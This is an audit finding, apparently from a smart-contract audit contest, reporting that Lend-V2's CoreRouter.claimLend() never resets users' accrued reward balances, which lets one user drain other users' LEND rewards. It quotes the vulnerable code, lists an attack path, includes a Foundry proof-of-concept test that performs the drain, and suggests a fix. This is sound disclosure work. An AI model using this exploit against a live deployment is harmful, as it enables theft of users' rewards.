Restless Tan Goat

High

# Attacker can steal other users accrued LEND rewards

### Summary

When a user claims his accrued LEND rewards, his entry in the mapping that is used for tracking per-user rewards balances is not zeroed.
Due to this a user can claim multiple times until he steals all available LEND.

### Root Cause

In the original Compound implementation of `Comptroller` and its fork `Lendtroller`, when a user claims their rewards, their entry in the `lendAccrued` mapping is set to 0 if the distribution was successful.

[`Lendtroller.sol:1456`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/Lendtroller.sol#L1456)
```solidity
    /**
     * @notice Claim all lend accrued by the holders
     * @param holders The addresses to claim LEND for
     * @param lTokens The list of markets to claim LEND in
     * @param borrowers Whether or not to claim LEND earned by borrowing
     * @param suppliers Whether or not to claim LEND earned by supplying
     */
    function claimLend(address[] memory holders, LToken[] memory lTokens, bool borrowers, bool suppliers) public {
        for (uint256 i = 0; i < lTokens.length; i++) {
            LToken lToken = lTokens[i];
            require(markets[address(lToken)].isListed, "market must be listed");
            if (borrowers == true) {
                Exp memory borrowIndex = Exp({mantissa: lToken.borrowIndex()});
                updateLendBorrowIndex(address(lToken), borrowIndex);
                for (uint256 j = 0; j < holders.length; j++) {
                    distributeBorrowerLend(address(lToken), holders[j], borrowIndex);
                }
            }
            if (suppliers == true) {
                updateLendSupplyIndex(address(lToken));
                for (uint256 j = 0; j < holders.length; j++) {
                    distributeSupplierLend(address(lToken), holders[j]);
                }
            }
        }
        for (uint256 j = 0; j < holders.length; j++) {
@>          lendAccrued[holders[j]] = grantLendInternal(holders[j], lendAccrued[holders[j]]);
        }
    }

    /**
     * @notice Transfer LEND to the user
     * @dev Note: If there is not enough LEND, we do not perform the transfer all.
     * @param user The address of the user to transfer LEND to
     * @param amount The amount of LEND to (possibly) transfer
     * @return The amount of LEND which was NOT transferred to the user
     */
    function grantLendInternal(address user, uint256 amount) internal returns (uint256) {
        Lend lend = Lend(getLendAddress());
        uint256 lendRemaining = lend.balanceOf(address(this));
        if (amount > 0 && amount <= lendRemaining) {
            lend.transfer(user, amount);
@>          return 0;
        }
        return amount;
    }
```

#### CoreRouter::claimLend()
`LendStorage` has its own `lendAccrued` mapping, where per-user rewards balances are stored, which the CoreRouter uses. 
The implementation logic for performing a claim in `CoreRouter` is very similiar, but is missing one important thing. If the user's claim is successful and the LEND tokens are transferred to them, their entry in the `lendAccrued` mapping is not zeroed.

[`CoreRouter.sol:402`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L402)
```solidity
    /**
     * @notice Claims LEND tokens for users
     * @param holders Array of addresses to claim for
     * @param lTokens Array of lToken markets
     * @param borrowers Whether to claim for borrowers
     * @param suppliers Whether to claim for suppliers
     */
    function claimLend(address[] memory holders, LToken[] memory lTokens, bool borrowers, bool suppliers) external {
        LendtrollerInterfaceV2(lendtroller).claimLend(address(this));

        for (uint256 i = 0; i < lTokens.length;) {
            address lToken = address(lTokens[i]);

            if (borrowers) {
                for (uint256 j = 0; j < holders.length;) {
                    lendStorage.distributeBorrowerLend(lToken, holders[j]);
                    unchecked {
                        ++j;
                    }
                }
            }

            if (suppliers) {
                for (uint256 j = 0; j < holders.length;) {
                    lendStorage.distributeSupplierLend(lToken, holders[j]);
                    unchecked {
                        ++j;
                    }
                }
            }

            unchecked {
                ++i;
            }
        }

        for (uint256 j = 0; j < holders.length;) {
            uint256 accrued = lendStorage.lendAccrued(holders[j]);
            if (accrued > 0) {
@>              grantLendInternal(holders[j], accrued);
            }
            unchecked {
                ++j;
            }
        }
    }

    /**
     * @dev Grants LEND tokens to a user
     * @param user The recipient
     * @param amount The amount to grant
     * @return uint256 Remaining amount if grant failed
     */
    function grantLendInternal(address user, uint256 amount) internal returns (uint256) {
        address lendAddress = LendtrollerInterfaceV2(lendtroller).getLendAddress();
        uint256 lendBalance = IERC20(lendAddress).balanceOf(address(this));

        if (amount > 0 && amount <= lendBalance) {
            IERC20(lendAddress).safeTransfer(user, amount);
@>          return 0;
        }
        return amount;
    }
```

### Internal Pre-conditions

Other suppliers/borrowers should be present before the attacker enters, so that when rewards accrue, there is more LEND available to steal than what the user alone would have accrued.

### External Pre-conditions

N/A

### Attack Path

1. Legitimate users interact with the protocol, in a way which will make them eligible for LEND token rewards.
2. Attacker interacts with the protocol, in a way which will make them eligible for LEND token rewards.
3. Enough time passes for rewards to accrue.
4. Attacker claims multiple times, draining the accrued LEND tokens.
5. When a legitimate user claims, there won't be enough LEND tokens to cover their accrued rewards balance and nothing will be distributed.

### Impact

Users accrued rewards can be drained by an attacker. As a result when they claim nothing will be distributed to them.

### PoC

Paste the following code in `test/TestSupplying.t.sol`.
Use `forge test --match-test test_that_claimLend_can_be_abused_to_drain_rewards -vvv` to run the test.

```solidity
    function test_that_claimLend_can_be_abused_to_drain_rewards() public {
        address token = supportedTokens[0];
        address lToken = lendStorage.underlyingTolToken(token);

        //Initial supply
        _supply(deployer, "deployer", token, 1000e18);

        address anotherUser = makeAddr("anotherUser");
        _supply(anotherUser, "anotherUser", token, 100e18);

        //Simulate interest accrual by advancing block.timestamp + block.number
        vm.roll(block.number + 100);
        vm.warp(block.timestamp + 3600); // Advance 1 hour

        IERC20 lendToken = IERC20(lendtroller.getLendAddress());

        _claimLend(anotherUser, "anotherUser", lToken);

        uint256 userLendTokenBalance = lendToken.balanceOf(anotherUser);
        console2.log("anotherUser's LEND balance:", userLendTokenBalance);

        _claimLend(anotherUser, "anotherUser", lToken);

        userLendTokenBalance = lendToken.balanceOf(anotherUser);
        console2.log("anotherUser's LEND balance:", userLendTokenBalance);

        _claimLend(anotherUser, "anotherUser", lToken);

        userLendTokenBalance = lendToken.balanceOf(anotherUser);
        console2.log("anotherUser's LEND balance:", userLendTokenBalance);

        _claimLend(deployer, "deployer", lToken);
        userLendTokenBalance = lendToken.balanceOf(deployer);
        console2.log("deployer's LEND balance:", userLendTokenBalance);

        //legitimate user's LEND balance is 0, despite having claimed
        assertEq(lendToken.balanceOf(deployer), 0);
    }

    function _supply(address supplier, string memory _alias, address underlying, uint256 amount) internal {
        vm.startPrank(supplier);

        console2.log("%s supplying %d", _alias, amount);

        //mint underlying token
        ERC20Mock(underlying).mint(supplier, amount);
        
        //approve router and supply
        IERC20(underlying).approve(address(coreRouter), amount);
        coreRouter.supply(amount, underlying);

        vm.stopPrank();
    }

    function _claimLend(address claimer, string memory _alias, address lToken) internal {
        vm.startPrank(claimer);

        console2.log("%s claiming LEND", _alias);

        //build arguments for claimLend() call
        address[] memory claimers = new address[](1);
        claimers[0] = claimer;

        LToken[] memory lTokensToClaim = new LToken[](1);
        lTokensToClaim[0] = LToken(lToken);

        //claim earned lend tokens
        coreRouter.claimLend(claimers, lTokensToClaim, true, true);
    }
```

### Mitigation

Ensure that when a user's rewards claim is successfully distributed their entry in the lendAccrued mapping is zeroed.